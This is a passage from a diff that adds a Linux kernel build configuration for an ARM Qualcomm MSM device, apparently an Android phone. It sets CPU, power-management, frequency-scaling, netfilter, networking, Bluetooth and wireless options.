+CONFIG_MSM7X00A_IDLE_SLEEP_MODE_POWER_COLLAPSE=y +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_APPS_SLEEP is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_MODE_RAMP_DOWN_AND_WAIT_FOR_INTERRUPT is not set +# CONFIG_MSM7X00A_IDLE_SLEEP_WAIT_FOR_INTERRUPT is not set +CONFIG_MSM7X00A_IDLE_SLEEP_MODE=1 +CONFIG_MSM7X00A_IDLE_SLEEP_MIN_TIME=20000000 +CONFIG_MSM7X00A_IDLE_SPIN_TIME=80000 +CONFIG_CPU_HAS_L2_PMU=y +# CONFIG_MSM_TEST_QMI_CLIENT is not set +CONFIG_RTAC=y +# CONFIG_MSM_VREG_SWITCH_INVERTED is not set +# CONFIG_MSM_DMA_TEST is not set +# CONFIG_WIFI_CONTROL_FUNC is not set +CONFIG_SURF_FFA_GPIO_KEYPAD=y +CONFIG_MSM_SLEEP_TIME_OVERRIDE=y +# CONFIG_MSM_MEMORY_LOW_POWER_MODE is not set +CONFIG_MSM_PM_TIMEOUT_HALT=y +# CONFIG_MSM_PM_TIMEOUT_RESET_MODEM is not set +# CONFIG_MSM_PM_TIMEOUT_RESET_CHIP is not set +CONFIG_MSM_IDLE_WAIT_ON_MODEM=0 +CONFIG_MSM_SMCMOD=y +CONFIG_MSM_DIRECT_SCLK_ACCESS=y +CONFIG_IOMMU_API=y +# CONFIG_MSM_BUS_RPM_MULTI_TIER_ENABLED is not set +# CONFIG_MSM_STANDALONE_POWER_COLLAPSE is not set +# CONFIG_MSM_GSBI9_UART is not set +# CONFIG_MSM_ULTRASOUND is not set +CONFIG_SENSORS_ADSP=y +# CONFIG_MSM_CPR is not set +# CONFIG_MSM_HSIC_SYSMON is not set +CONFIG_MSM_ENABLE_WDOG_DEBUG_CONTROL=y +# CONFIG_KRAIT_REGULATOR is not set +CONFIG_FORCE_FAST_CHARGE=y +# CONFIG_PLAT_SPEAR is not set + +# +# Processor Type +# +CONFIG_CPU_V7=y +CONFIG_CPU_32v6K=y +CONFIG_CPU_32v7=y +CONFIG_CPU_ABRT_EV7=y +CONFIG_CPU_PABRT_V7=y +CONFIG_CPU_CACHE_V7=y +CONFIG_CPU_CACHE_VIPT=y +CONFIG_CPU_COPY_V6=y +CONFIG_CPU_TLB_V7=y +CONFIG_CPU_HAS_ASID=y +CONFIG_CPU_CP15=y +CONFIG_CPU_CP15_MMU=y + +# +# Processor Features +# +# CONFIG_ARM_LPAE is not set +# CONFIG_ARCH_PHYS_ADDR_T_64BIT is not set +CONFIG_ARM_THUMB=y +# CONFIG_ARM_THUMBEE is not set +CONFIG_ARM_VIRT_EXT=y +CONFIG_SWP_EMULATE=y +# CONFIG_FORCE_INSTRUCTION_ALIGNMENT is not set +# CONFIG_CPU_ICACHE_DISABLE is not set +# CONFIG_CPU_DCACHE_DISABLE is not set +# CONFIG_CPU_BPREDICT_DISABLE is not set +CONFIG_KUSER_HELPERS=y +# CONFIG_CACHE_L2X0 is not set +CONFIG_ARM_L1_CACHE_SHIFT_6=y +CONFIG_ARM_L1_CACHE_SHIFT=6 +CONFIG_ARM_DMA_MEM_BUFFERABLE=y +CONFIG_STRICT_MEMORY_RWX=y +CONFIG_ARM_NR_BANKS=8 +CONFIG_MULTI_IRQ_HANDLER=y +# CONFIG_ARM_ERRATA_430973 is not set +# CONFIG_ARM_ERRATA_458693 is not set +# CONFIG_ARM_ERRATA_460075 is not set +# CONFIG_ARM_ERRATA_742230 is not set +# CONFIG_ARM_ERRATA_742231 is not set +# CONFIG_ARM_ERRATA_643719 is not set +# CONFIG_ARM_ERRATA_720789 is not set +# CONFIG_ARM_ERRATA_743622 is not set +# CONFIG_ARM_ERRATA_751472 is not set +# CONFIG_ARM_ERRATA_754322 is not set +# CONFIG_ARM_ERRATA_754327 is not set +# CONFIG_ARM_ERRATA_764369 is not set +# CONFIG_ARM_ERRATA_775420 is not set +# CONFIG_ARM_ERRATA_798181 is not set + +# +# Bus support +# +# CONFIG_PCI_SYSCALL is not set +# CONFIG_PCCARD is not set + +# +# Kernel Features +# +CONFIG_HAVE_SMP=y +CONFIG_SMP=y +# CONFIG_SMP_ON_UP is not set +CONFIG_ARM_CPU_TOPOLOGY=y +CONFIG_SCHED_MC=y +# CONFIG_SCHED_SMT is not set +CONFIG_HAVE_ARM_ARCH_TIMER=y +# CONFIG_MCPM is not set +CONFIG_VMSPLIT_3G=y +# CONFIG_VMSPLIT_2G is not set +# CONFIG_VMSPLIT_1G is not set +CONFIG_PAGE_OFFSET=0xC0000000 +CONFIG_NR_CPUS=4 +CONFIG_HOTPLUG_CPU=y +# CONFIG_ARM_PSCI is not set +CONFIG_LOCAL_TIMERS=y +CONFIG_ARCH_NR_GPIO=0 +# CONFIG_PREEMPT_NONE is not set +# CONFIG_PREEMPT_VOLUNTARY is not set +CONFIG_PREEMPT=y +CONFIG_PREEMPT_COUNT=y +# CONFIG_HZ_100 is not set +# CONFIG_HZ_250 is not set +CONFIG_HZ_300=y +# CONFIG_HZ_1000 is not set +CONFIG_HZ=300 +CONFIG_SCHED_HRTICK=y +# CONFIG_THUMB2_KERNEL is not set +CONFIG_AEABI=y +# CONFIG_OABI_COMPAT is not set +# CONFIG_4KSTACKS is not set +# CONFIG_ARCH_SPARSEMEM_DEFAULT is not set +# CONFIG_ARCH_SELECT_MEMORY_MODEL is not set +CONFIG_HAVE_ARCH_PFN_VALID=y +CONFIG_HIGHMEM=y +# CONFIG_HIGHPTE is not set +CONFIG_HW_PERF_EVENTS=y +# CONFIG_PERF_EVENTS_USERMODE is not set +# CONFIG_PERF_EVENTS_RESET_PMU_DEBUGFS is not set +CONFIG_FLATMEM=y +CONFIG_FLAT_NODE_MEM_MAP=y +CONFIG_HAVE_MEMBLOCK=y +CONFIG_MEMORY_ISOLATION=y +# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set +CONFIG_PAGEFLAGS_EXTENDED=y +CONFIG_SPLIT_PTLOCK_CPUS=4 +CONFIG_COMPACTION=y +CONFIG_MIGRATION=y +# CONFIG_PHYS_ADDR_T_64BIT is not set +CONFIG_ZONE_DMA_FLAG=0 +CONFIG_BOUNCE=y +# CONFIG_KSM is not set +CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 +CONFIG_CROSS_MEMORY_ATTACH=y +# CONFIG_CLEANCACHE is not set +# CONFIG_FRONTSWAP is not set +CONFIG_MEMORY_HOLE_CARVEOUT=y +# CONFIG_USE_USER_ACCESSIBLE_TIMERS is not set +# CONFIG_BALANCE_ANON_FILE_RECLAIM is not set +CONFIG_PROCESS_RECLAIM=y +# CONFIG_ZPOOL is not set +# CONFIG_ZBUD is not set +CONFIG_ZSMALLOC=y +CONFIG_PGTABLE_MAPPING=y +# CONFIG_ENABLE_VMALLOC_SAVING is not set +CONFIG_NO_VM_RECLAIM=y +CONFIG_FORCE_MAX_ZONEORDER=11 +CONFIG_ALIGNMENT_TRAP=y +# CONFIG_UACCESS_WITH_MEMCPY is not set +CONFIG_SECCOMP=y +# CONFIG_XEN is not set +CONFIG_CP_ACCESS=y +# CONFIG_ARM_FLUSH_CONSOLE_ON_RESTART is not set + +# +# Boot options +# +CONFIG_USE_OF=y +CONFIG_ATAGS=y +# CONFIG_DEPRECATED_PARAM_STRUCT is not set +# CONFIG_BUILD_ARM_APPENDED_DTB_IMAGE is not set +CONFIG_ZBOOT_ROM_TEXT=0 +CONFIG_ZBOOT_ROM_BSS=0 +# CONFIG_ARM_APPENDED_DTB is not set +CONFIG_CMDLINE="" +# CONFIG_XIP_KERNEL is not set +# CONFIG_KEXEC is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_AUTO_ZRELADDR=y +CONFIG_ARM_DECOMPRESSOR_LIMIT=0x3200000 + +# +# CPU Power Management +# + +# +# CPU Frequency scaling +# +CONFIG_CPU_FREQ=y +CONFIG_CPU_FREQ_GOV_COMMON=y +CONFIG_SCHED_FREQ_INPUT=y +CONFIG_CPU_FREQ_STAT=y +# CONFIG_CPU_FREQ_STAT_DETAILS is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_INTERACTIVE is not set +CONFIG_CPU_FREQ_GOV_PERFORMANCE=y +CONFIG_CPU_FREQ_GOV_POWERSAVE=y +# CONFIG_CPU_FREQ_GOV_USERSPACE is not set +CONFIG_CPU_FREQ_GOV_ONDEMAND=y +CONFIG_CPU_FREQ_GOV_INTERACTIVE=y +CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y +CONFIG_CPU_BOOST=y + +# +# ARM CPU frequency scaling drivers +# +# CONFIG_ARM_EXYNOS4210_CPUFREQ is not set +# CONFIG_ARM_EXYNOS4X12_CPUFREQ is not set +# CONFIG_ARM_EXYNOS5250_CPUFREQ is not set +# CONFIG_ARM_KIRKWOOD_CPUFREQ is not set +CONFIG_CPU_FREQ_MSM=y +CONFIG_CPU_IDLE=y +CONFIG_CPU_IDLE_MULTIPLE_DRIVERS=y +CONFIG_CPU_IDLE_GOV_LADDER=y +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set + +# +# Floating point emulation +# + +# +# At least one emulation must be selected +# +CONFIG_VFP=y +CONFIG_VFPv3=y +CONFIG_NEON=y +CONFIG_KERNEL_MODE_NEON=y + +# +# Userspace binary formats +# +CONFIG_BINFMT_ELF=y +CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y +# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set +CONFIG_BINFMT_SCRIPT=y +# CONFIG_HAVE_AOUT is not set +# CONFIG_BINFMT_MISC is not set +CONFIG_COREDUMP=y + +# +# Power management options +# +CONFIG_SUSPEND=y +CONFIG_SUSPEND_FREEZER=y +CONFIG_HAS_WAKELOCK=y +CONFIG_WAKELOCK=y +CONFIG_PM_SLEEP=y +CONFIG_PM_SLEEP_SMP=y +CONFIG_PM_AUTOSLEEP=y +CONFIG_PM_WAKELOCKS=y +CONFIG_PM_WAKELOCKS_LIMIT=0 +# CONFIG_PM_WAKELOCKS_GC is not set +CONFIG_PM_RUNTIME=y +CONFIG_PM=y +# CONFIG_PM_DEBUG is not set +# CONFIG_APM_EMULATION is not set +CONFIG_ARCH_HAS_OPP=y +CONFIG_PM_CLK=y +CONFIG_CPU_PM=y +# CONFIG_SUSPEND_TIME is not set +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_ARM_CPU_SUSPEND=y +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +# CONFIG_UNIX_DIAG is not set +CONFIG_XFRM=y +CONFIG_XFRM_ALGO=y +CONFIG_XFRM_USER=y +# CONFIG_XFRM_SUB_POLICY is not set +# CONFIG_XFRM_MIGRATE is not set +# CONFIG_XFRM_STATISTICS is not set +CONFIG_XFRM_IPCOMP=y +CONFIG_NET_KEY=y +# CONFIG_NET_KEY_MIGRATE is not set +CONFIG_INET=y +# CONFIG_IP_MULTICAST is not set +CONFIG_IP_ADVANCED_ROUTER=y +# CONFIG_IP_FIB_TRIE_STATS is not set +CONFIG_IP_MULTIPLE_TABLES=y +# CONFIG_IP_ROUTE_MULTIPATH is not set +CONFIG_IP_ROUTE_VERBOSE=y +CONFIG_IP_PNP=y +CONFIG_IP_PNP_DHCP=y +# CONFIG_IP_PNP_BOOTP is not set +# CONFIG_IP_PNP_RARP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_NET_IP_TUNNEL=y +# CONFIG_ARPD is not set +# CONFIG_SYN_COOKIES is not set +# CONFIG_NET_IPVTI is not set +CONFIG_INET_AH=y +CONFIG_INET_ESP=y +# CONFIG_INET_IPCOMP is not set +# CONFIG_INET_XFRM_TUNNEL is not set +CONFIG_INET_TUNNEL=y +CONFIG_INET_XFRM_MODE_TRANSPORT=y +CONFIG_INET_XFRM_MODE_TUNNEL=y +# CONFIG_INET_XFRM_MODE_BEET is not set +# CONFIG_INET_LRO is not set +CONFIG_INET_DIAG=y +CONFIG_INET_TCP_DIAG=y +# CONFIG_INET_UDP_DIAG is not set +CONFIG_INET_DIAG_DESTROY=y +CONFIG_TCP_CONG_ADVANCED=y +CONFIG_TCP_CONG_BIC=y +CONFIG_TCP_CONG_CUBIC=y +CONFIG_TCP_CONG_WESTWOOD=y +CONFIG_TCP_CONG_HTCP=y +# CONFIG_TCP_CONG_HSTCP is not set +# CONFIG_TCP_CONG_HYBLA is not set +# CONFIG_TCP_CONG_VEGAS is not set +# CONFIG_TCP_CONG_SCALABLE is not set +# CONFIG_TCP_CONG_LP is not set +# CONFIG_TCP_CONG_VENO is not set +# CONFIG_TCP_CONG_YEAH is not set +# CONFIG_TCP_CONG_ILLINOIS is not set +# CONFIG_DEFAULT_BIC is not set +# CONFIG_DEFAULT_CUBIC is not set +# CONFIG_DEFAULT_HTCP is not set +CONFIG_DEFAULT_WESTWOOD=y +# CONFIG_DEFAULT_RENO is not set +CONFIG_DEFAULT_TCP_CONG="westwood" +# CONFIG_TCP_MD5SIG is not set +CONFIG_IPV6=y +CONFIG_IPV6_PRIVACY=y +CONFIG_IPV6_ROUTER_PREF=y +CONFIG_IPV6_ROUTE_INFO=y +CONFIG_IPV6_OPTIMISTIC_DAD=y +CONFIG_INET6_AH=y +CONFIG_INET6_ESP=y +CONFIG_INET6_IPCOMP=y +CONFIG_IPV6_MIP6=y +CONFIG_INET6_XFRM_TUNNEL=y +CONFIG_INET6_TUNNEL=y +CONFIG_INET6_XFRM_MODE_TRANSPORT=y +CONFIG_INET6_XFRM_MODE_TUNNEL=y +CONFIG_INET6_XFRM_MODE_BEET=y +# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set +CONFIG_IPV6_SIT=y +# CONFIG_IPV6_SIT_6RD is not set +CONFIG_IPV6_NDISC_NODETYPE=y +# CONFIG_IPV6_TUNNEL is not set +# CONFIG_IPV6_GRE is not set +CONFIG_IPV6_MULTIPLE_TABLES=y +CONFIG_IPV6_SUBTREES=y +# CONFIG_IPV6_MROUTE is not set +# CONFIG_NETLABEL is not set +CONFIG_ANDROID_PARANOID_NETWORK=y +CONFIG_NET_ACTIVITY_STATS=y +CONFIG_NETWORK_SECMARK=y +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +CONFIG_NETFILTER=y +# CONFIG_NETFILTER_DEBUG is not set +CONFIG_NETFILTER_ADVANCED=y +CONFIG_BRIDGE_NETFILTER=y + +# +# Core Netfilter Configuration +# +CONFIG_NETFILTER_NETLINK=y +# CONFIG_NETFILTER_NETLINK_ACCT is not set +CONFIG_NETFILTER_NETLINK_QUEUE=y +CONFIG_NETFILTER_NETLINK_LOG=y +CONFIG_NF_CONNTRACK=y +CONFIG_NF_CONNTRACK_MARK=y +CONFIG_NF_CONNTRACK_SECMARK=y +# CONFIG_NF_CONNTRACK_ZONES is not set +CONFIG_NF_CONNTRACK_PROCFS=y +CONFIG_NF_CONNTRACK_EVENTS=y +# CONFIG_NF_CONNTRACK_TIMEOUT is not set +# CONFIG_NF_CONNTRACK_TIMESTAMP is not set +CONFIG_NF_CT_PROTO_DCCP=y +CONFIG_NF_CT_PROTO_GRE=y +CONFIG_NF_CT_PROTO_SCTP=y +CONFIG_NF_CT_PROTO_UDPLITE=y +CONFIG_NF_CONNTRACK_AMANDA=y +CONFIG_NF_CONNTRACK_FTP=y +CONFIG_NF_CONNTRACK_H323=y +CONFIG_NF_CONNTRACK_IRC=y +CONFIG_NF_CONNTRACK_BROADCAST=y +CONFIG_NF_CONNTRACK_NETBIOS_NS=y +# CONFIG_NF_CONNTRACK_SNMP is not set +CONFIG_NF_CONNTRACK_PPTP=y +CONFIG_NF_CONNTRACK_SANE=y +CONFIG_NF_CONNTRACK_SIP=y +CONFIG_NF_CONNTRACK_TFTP=y +CONFIG_NF_CT_NETLINK=y +# CONFIG_NF_CT_NETLINK_TIMEOUT is not set +# CONFIG_NETFILTER_NETLINK_QUEUE_CT is not set +CONFIG_NF_NAT=y +CONFIG_NF_NAT_NEEDED=y +CONFIG_NF_NAT_PROTO_DCCP=y +CONFIG_NF_NAT_PROTO_UDPLITE=y +CONFIG_NF_NAT_PROTO_SCTP=y +CONFIG_NF_NAT_AMANDA=y +CONFIG_NF_NAT_FTP=y +CONFIG_NF_NAT_IRC=y +CONFIG_NF_NAT_SIP=y +CONFIG_NF_NAT_TFTP=y +CONFIG_NETFILTER_TPROXY=y +CONFIG_NETFILTER_XTABLES=y + +# +# Xtables combined modules +# +CONFIG_NETFILTER_XT_MARK=y +CONFIG_NETFILTER_XT_CONNMARK=y + +# +# Xtables targets +# +# CONFIG_NETFILTER_XT_TARGET_AUDIT is not set +# CONFIG_NETFILTER_XT_TARGET_CHECKSUM is not set +CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y +CONFIG_NETFILTER_XT_TARGET_CONNMARK=y +CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y +CONFIG_NETFILTER_XT_TARGET_CT=y +# CONFIG_NETFILTER_XT_TARGET_DSCP is not set +# CONFIG_NETFILTER_XT_TARGET_HL is not set +# CONFIG_NETFILTER_XT_TARGET_HMARK is not set +CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y +CONFIG_NETFILTER_XT_TARGET_HARDIDLETIMER=y +# CONFIG_NETFILTER_XT_TARGET_LED is not set +CONFIG_NETFILTER_XT_TARGET_LOG=y +CONFIG_NETFILTER_XT_TARGET_MARK=y +CONFIG_NETFILTER_XT_TARGET_NETMAP=y +CONFIG_NETFILTER_XT_TARGET_NFLOG=y +CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y +CONFIG_NETFILTER_XT_TARGET_NOTRACK=y +# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set +CONFIG_NETFILTER_XT_TARGET_REDIRECT=y +CONFIG_NETFILTER_XT_TARGET_TEE=y +CONFIG_NETFILTER_XT_TARGET_TPROXY=y +CONFIG_NETFILTER_XT_TARGET_TRACE=y +CONFIG_NETFILTER_XT_TARGET_SECMARK=y +# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set +# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set + +# +# Xtables matches +# +# CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set +# CONFIG_NETFILTER_XT_MATCH_BPF is not set +# CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set +CONFIG_NETFILTER_XT_MATCH_COMMENT=y +# CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set +# CONFIG_NETFILTER_XT_MATCH_CONNLABEL is not set +CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y +CONFIG_NETFILTER_XT_MATCH_CONNMARK=y +CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y +# CONFIG_NETFILTER_XT_MATCH_CPU is not set +# CONFIG_NETFILTER_XT_MATCH_DCCP is not set +# CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set +CONFIG_NETFILTER_XT_MATCH_DSCP=y +CONFIG_NETFILTER_XT_MATCH_ECN=y +CONFIG_NETFILTER_XT_MATCH_ESP=y +CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y +CONFIG_NETFILTER_XT_MATCH_HELPER=y +CONFIG_NETFILTER_XT_MATCH_HL=y +CONFIG_NETFILTER_XT_MATCH_IPRANGE=y +CONFIG_NETFILTER_XT_MATCH_LENGTH=y +CONFIG_NETFILTER_XT_MATCH_LIMIT=y +CONFIG_NETFILTER_XT_MATCH_MAC=y +CONFIG_NETFILTER_XT_MATCH_MARK=y +CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y +# CONFIG_NETFILTER_XT_MATCH_NFACCT is not set +# CONFIG_NETFILTER_XT_MATCH_OSF is not set +# CONFIG_NETFILTER_XT_MATCH_OWNER is not set +CONFIG_NETFILTER_XT_MATCH_POLICY=y +# CONFIG_NETFILTER_XT_MATCH_PHYSDEV is not set +CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y +CONFIG_NETFILTER_XT_MATCH_QTAGUID=y +CONFIG_NETFILTER_XT_MATCH_QUOTA=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2_LOG=y +# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set +# CONFIG_NETFILTER_XT_MATCH_REALM is not set +# CONFIG_NETFILTER_XT_MATCH_RECENT is not set +# CONFIG_NETFILTER_XT_MATCH_SCTP is not set +CONFIG_NETFILTER_XT_MATCH_SOCKET=y +CONFIG_NETFILTER_XT_MATCH_STATE=y +CONFIG_NETFILTER_XT_MATCH_STATISTIC=y +CONFIG_NETFILTER_XT_MATCH_STRING=y +# CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set +CONFIG_NETFILTER_XT_MATCH_TIME=y +CONFIG_NETFILTER_XT_MATCH_U32=y +# CONFIG_IP_SET is not set +# CONFIG_IP_VS is not set + +# +# IP: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV4=y +CONFIG_NF_CONNTRACK_IPV4=y +CONFIG_NF_CONNTRACK_PROC_COMPAT=y +CONFIG_IP_NF_IPTABLES=y +CONFIG_IP_NF_MATCH_AH=y +CONFIG_IP_NF_MATCH_ECN=y +CONFIG_IP_NF_MATCH_RPFILTER=y +CONFIG_IP_NF_MATCH_TTL=y +CONFIG_IP_NF_FILTER=y +CONFIG_IP_NF_TARGET_REJECT=y +# CONFIG_IP_NF_TARGET_REJECT_SKERR is not set +# CONFIG_IP_NF_TARGET_ULOG is not set +CONFIG_NF_NAT_IPV4=y +CONFIG_IP_NF_TARGET_MASQUERADE=y +# CONFIG_IP_NF_TARGET_NATTYPE_MODULE is not set +CONFIG_IP_NF_TARGET_NETMAP=y +CONFIG_IP_NF_TARGET_REDIRECT=y +CONFIG_NF_NAT_PROTO_GRE=y +CONFIG_NF_NAT_PPTP=y +CONFIG_NF_NAT_H323=y +CONFIG_IP_NF_MANGLE=y +# CONFIG_IP_NF_TARGET_CLUSTERIP is not set +# CONFIG_IP_NF_TARGET_ECN is not set +# CONFIG_IP_NF_TARGET_TTL is not set +CONFIG_IP_NF_RAW=y +CONFIG_IP_NF_SECURITY=y +CONFIG_IP_NF_ARPTABLES=y +CONFIG_IP_NF_ARPFILTER=y +CONFIG_IP_NF_ARP_MANGLE=y + +# +# IPv6: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV6=y +CONFIG_NF_CONNTRACK_IPV6=y +CONFIG_IP6_NF_IPTABLES=y +# CONFIG_IP6_NF_MATCH_AH is not set +# CONFIG_IP6_NF_MATCH_EUI64 is not set +# CONFIG_IP6_NF_MATCH_FRAG is not set +# CONFIG_IP6_NF_MATCH_OPTS is not set +# CONFIG_IP6_NF_MATCH_HL is not set +# CONFIG_IP6_NF_MATCH_IPV6HEADER is not set +# CONFIG_IP6_NF_MATCH_MH is not set +CONFIG_IP6_NF_MATCH_RPFILTER=y +# CONFIG_IP6_NF_MATCH_RT is not set +# CONFIG_IP6_NF_TARGET_HL is not set +CONFIG_IP6_NF_FILTER=y +CONFIG_IP6_NF_TARGET_REJECT=y +# CONFIG_IP6_NF_TARGET_REJECT_SKERR is not set +CONFIG_IP6_NF_MANGLE=y +CONFIG_IP6_NF_RAW=y +# CONFIG_IP6_NF_SECURITY is not set +# CONFIG_NF_NAT_IPV6 is not set +CONFIG_BRIDGE_NF_EBTABLES=y +CONFIG_BRIDGE_EBT_BROUTE=y +# CONFIG_BRIDGE_EBT_T_FILTER is not set +# CONFIG_BRIDGE_EBT_T_NAT is not set +# CONFIG_BRIDGE_EBT_802_3 is not set +# CONFIG_BRIDGE_EBT_AMONG is not set +# CONFIG_BRIDGE_EBT_ARP is not set +# CONFIG_BRIDGE_EBT_IP is not set +# CONFIG_BRIDGE_EBT_IP6 is not set +# CONFIG_BRIDGE_EBT_LIMIT is not set +# CONFIG_BRIDGE_EBT_MARK is not set +# CONFIG_BRIDGE_EBT_PKTTYPE is not set +# CONFIG_BRIDGE_EBT_STP is not set +# CONFIG_BRIDGE_EBT_VLAN is not set +# CONFIG_BRIDGE_EBT_ARPREPLY is not set +# CONFIG_BRIDGE_EBT_DNAT is not set +# CONFIG_BRIDGE_EBT_MARK_T is not set +# CONFIG_BRIDGE_EBT_REDIRECT is not set +# CONFIG_BRIDGE_EBT_SNAT is not set +# CONFIG_BRIDGE_EBT_LOG is not set +# CONFIG_BRIDGE_EBT_ULOG is not set +# CONFIG_BRIDGE_EBT_NFLOG is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +CONFIG_L2TP=y +CONFIG_L2TP_DEBUGFS=y +CONFIG_L2TP_V3=y +CONFIG_L2TP_IP=y +CONFIG_L2TP_ETH=y +CONFIG_STP=y +CONFIG_BRIDGE=y +CONFIG_BRIDGE_IGMP_SNOOPING=y +CONFIG_HAVE_NET_DSA=y +# CONFIG_VLAN_8021Q is not set +# CONFIG_DECNET is not set +CONFIG_LLC=y +# CONFIG_LLC2 is not set +# CONFIG_IPX is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +CONFIG_NET_SCHED=y + +# +# Queueing/Scheduling +# +# CONFIG_NET_SCH_CBQ is not set +CONFIG_NET_SCH_HTB=y +# CONFIG_NET_SCH_HFSC is not set +CONFIG_NET_SCH_PRIO=y +# CONFIG_NET_SCH_MULTIQ is not set +# CONFIG_NET_SCH_RED is not set +# CONFIG_NET_SCH_SFB is not set +# CONFIG_NET_SCH_SFQ is not set +# CONFIG_NET_SCH_TEQL is not set +# CONFIG_NET_SCH_TBF is not set +# CONFIG_NET_SCH_GRED is not set +# CONFIG_NET_SCH_DSMARK is not set +# CONFIG_NET_SCH_NETEM is not set +# CONFIG_NET_SCH_DRR is not set +# CONFIG_NET_SCH_MQPRIO is not set +# CONFIG_NET_SCH_CHOKE is not set +# CONFIG_NET_SCH_QFQ is not set +# CONFIG_NET_SCH_CODEL is not set +# CONFIG_NET_SCH_FQ_CODEL is not set +# CONFIG_NET_SCH_INGRESS is not set +# CONFIG_NET_SCH_PLUG is not set + +# +# Classification +# +CONFIG_NET_CLS=y +# CONFIG_NET_CLS_BASIC is not set +# CONFIG_NET_CLS_TCINDEX is not set +# CONFIG_NET_CLS_ROUTE4 is not set +CONFIG_NET_CLS_FW=y +CONFIG_NET_CLS_U32=y +# CONFIG_CLS_U32_PERF is not set +CONFIG_CLS_U32_MARK=y +# CONFIG_NET_CLS_RSVP is not set +# CONFIG_NET_CLS_RSVP6 is not set +CONFIG_NET_CLS_FLOW=y +# CONFIG_NET_CLS_CGROUP is not set +CONFIG_NET_EMATCH=y +CONFIG_NET_EMATCH_STACK=32 +CONFIG_NET_EMATCH_CMP=y +CONFIG_NET_EMATCH_NBYTE=y +CONFIG_NET_EMATCH_U32=y +CONFIG_NET_EMATCH_META=y +CONFIG_NET_EMATCH_TEXT=y +CONFIG_NET_CLS_ACT=y +# CONFIG_NET_ACT_POLICE is not set +# CONFIG_NET_ACT_GACT is not set +# CONFIG_NET_ACT_MIRRED is not set +# CONFIG_NET_ACT_IPT is not set +# CONFIG_NET_ACT_NAT is not set +# CONFIG_NET_ACT_PEDIT is not set +# CONFIG_NET_ACT_SIMP is not set +# CONFIG_NET_ACT_SKBEDIT is not set +# CONFIG_NET_ACT_CSUM is not set +# CONFIG_NET_CLS_IND is not set +CONFIG_NET_SCH_FIFO=y +# CONFIG_DCB is not set +# CONFIG_DNS_RESOLVER is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is not set +# CONFIG_NETLINK_MMAP is not set +# CONFIG_NETLINK_DIAG is not set +CONFIG_RMNET_DATA=y +CONFIG_RMNET_DATA_FC=y +CONFIG_RMNET_DATA_DEBUG_PKT=y +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_XPS=y +# CONFIG_NETPRIO_CGROUP is not set +CONFIG_BQL=y +CONFIG_SOCKEV_NLMCAST=y + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# CONFIG_NET_DROP_MONITOR is not set +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_IRDA is not set +CONFIG_BT=y +CONFIG_BT_RFCOMM=y +CONFIG_BT_RFCOMM_TTY=y +CONFIG_BT_BNEP=y +CONFIG_BT_BNEP_MC_FILTER=y +CONFIG_BT_BNEP_PROTO_FILTER=y +CONFIG_BT_HIDP=y + +# +# Bluetooth device drivers +# +# CONFIG_BT_HCISMD is not set +# CONFIG_BT_HCIBTUSB is not set +# CONFIG_BT_HCIBTSDIO is not set +# CONFIG_BT_HCIUART is not set +# CONFIG_BT_HCIBCM203X is not set +# CONFIG_BT_HCIBPA10X is not set +# CONFIG_BT_HCIBFUSB is not set +# CONFIG_BT_HCIVHCI is not set +# CONFIG_BT_MRVL is not set +# CONFIG_AF_RXRPC is not set +CONFIG_FIB_RULES=y +CONFIG_WIRELESS=y +CONFIG_WIRELESS_EXT=y +CONFIG_WEXT_CORE=y +CONFIG_WEXT_PROC=y +CONFIG_WEXT_SPY=y 